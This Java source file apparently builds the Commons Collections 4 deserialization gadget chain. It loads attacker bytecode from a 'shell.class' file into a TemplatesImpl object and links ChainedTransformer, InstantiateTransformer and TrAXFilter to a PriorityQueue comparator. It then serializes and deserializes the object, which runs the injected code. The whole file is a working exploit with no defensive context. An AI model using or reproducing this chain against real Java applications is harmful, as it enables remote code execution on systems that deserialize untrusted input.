public class cc4 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class aClass = templates.getClass(); Field _name = aClass.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates, "cc4"); byte[] b = Files.readAllBytes(Paths.get("D:\\Desktop\\java\\javacc\\target\\classes\\shell.class")); byte[][] b1 = {b}; Field b2 = aClass.getDeclaredField("_bytecodes"); b2.setAccessible(true); b2.set(templates, b1);
Field f = aClass.getDeclaredField("_tfactory"); f.setAccessible(true); f.set(templates, new TransformerFactoryImpl());
Transformer[] T = { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(T);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(111); priorityQueue.add(1); priorityQueue.add(2); Class aClass1 = priorityQueue.getClass(); Field ca = aClass1.getDeclaredField("comparator"); ca.setAccessible(true); ca.set(priorityQueue, transformingComparator); seriliaze(priorityQueue); unserilize("ser.bin");
}
public static void seriliaze(Object o) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(o); }
public static Object unserilize(String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); return objectInputStream.readObject(); } }